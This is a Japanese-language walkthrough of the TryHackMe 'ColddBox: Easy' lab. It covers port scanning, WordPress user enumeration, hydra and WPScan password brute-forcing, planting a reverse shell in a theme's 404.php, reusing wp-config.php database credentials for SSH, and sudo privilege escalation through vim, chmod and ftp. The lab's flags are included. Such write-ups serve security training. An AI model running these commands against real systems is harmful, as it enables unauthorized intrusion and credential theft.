概要
TryHackMe「ColddBox: Easy」のWalkthroughです。
Task1
Q1.user.txt
Hint.Provide the flag in its encoded format
ポートスキャンを実行します。
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.131.179 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | Apache httpd 2.4.18 |
4512 | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 |
80
番ポートにアクセスするとWebサイトが表示されました。
ディレクトリ列挙をします
$ dirsearch -u http://10.10.131.179
[11:58:43] 301 - 0B - /index.php -> http://10.10.131.179/
[11:58:43] 301 - 0B - /index.php/login/ -> http://10.10.131.179/login/
[11:58:47] 200 - 7KB - /license.txt
[11:59:09] 200 - 3KB - /readme.html
[11:59:13] 403 - 278B - /server-status/
[11:59:13] 403 - 278B - /server-status
[11:59:34] 301 - 317B - /wp-admin -> http://10.10.131.179/wp-admin/
[11:59:34] 200 - 1B - /wp-admin/admin-ajax.php
[11:59:34] 302 - 0B - /wp-admin/ -> /wp-login.php?redirect_to=http%3A%2F%2F10.10.131.179%2Fwp-admin%2F&reauth=1
[11:59:34] 200 - 578B - /wp-admin/install.php
[11:59:34] 500 - 3KB - /wp-admin/setup-config.php
[11:59:34] 200 - 0B - /wp-config.php
[11:59:35] 200 - 0B - /wp-content/
[11:59:35] 301 - 319B - /wp-content -> http://10.10.131.179/wp-content/
[11:59:35] 200 - 84B - /wp-content/plugins/akismet/akismet.php
[11:59:35] 500 - 0B - /wp-content/plugins/hello.php
[11:59:35] 200 - 415B - /wp-content/upgrade/
[11:59:35] 301 - 320B - /wp-includes -> http://10.10.131.179/wp-includes/
[11:59:35] 200 - 0B - /wp-cron.php
[11:59:35] 500 - 0B - /wp-includes/rss-functions.php
[11:59:35] 200 - 3KB - /wp-includes/
[11:59:35] 200 - 1KB - /wp-login.php
[11:59:36] 302 - 0B - /wp-signup.php -> /wp-login.php?action=register
[11:59:36] 200 - 42B - /xmlrpc.php
hydra
でユーザー名を探すとhugo
アカウントを発見しました。
しかし、パスワードは得られませんでした。
$ hydra -f -L /usr/share/seclists/Usernames/Names/names.txt -p admin 10.10.131.179 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1:F=Invalid username." -t 64
[80][http-post-form] host: 10.10.131.179 login: hugo password: admin
WPScan
でさらにユーザー名を列挙します。
$ wpscan --url http://10.10.179.35 --enumerate u
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
hugo
の他にc0ldd
、philip
を発見しました。
c0ldd
のパスワードを総当たりで特定します。
$ wpscan --url http://10.10.179.35 -U c0ldd -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / franklin Time: 00:02:01 < > (1225 / 14345617) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0ldd, Password: 9876543210
認証情報が分かったのでWordPressにログインします。
Appearance
->Editor
->404.php
にアクセスし、コードをリバースシェルの内容に置き換えます。
Netcatでリッスンします。
$ nc -lvnp 1234
/wp-content/themes/twentyfifteen/404.php
にアクセスするとシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.179.35] 50394
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
19:47:23 up 24 min, 0 users, load average: 0.00, 0.03, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
c0ldd
アカウントに昇格する必要があります。
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 24 2020 .
drwxr-xr-x 23 root root 4096 Sep 24 2020 ..
drwxr-xr-x 3 c0ldd c0ldd 4096 Oct 19 2020 c0ldd
/var/www/html/wp-config.php
を見るとMySQLの認証情報を得られました。
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
得られたパスワードでSSHログインを試みると成功しました。
$ ssh -p 4512 c0ldd@10.10.179.35
c0ldd@ColddBox-Easy:~$
/home/c0ldd/user.txt
からユーザーフラグを入手できました。
RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==
A.RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==
Q2.root.txt
Hint.Provide the flag in its encoded format
sudo -l
でプログラムを確認します。
$ sudo -l
[sudo] password for c0ldd:
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp
vim
,chmod
,ftp
がsudoで実行できます。
権限昇格のコマンドをGTFOBinsで探します。
vimで権限昇格
下記コマンドを実行します。
$ sudo vim -c ':!/bin/sh'
# whoami
root
chmodで権限昇格
下記コマンドを実行します。
$ sudo chmod u+s /bin/bash
$ /bin/bash -p
# whoami
root
ftpで権限昇格
下記コマンドを実行します。
$ sudo ftp
ftp> !/bin/sh
# whoami
root
/root/root.txt
からルートフラグを入手できます。
wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=
A.wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=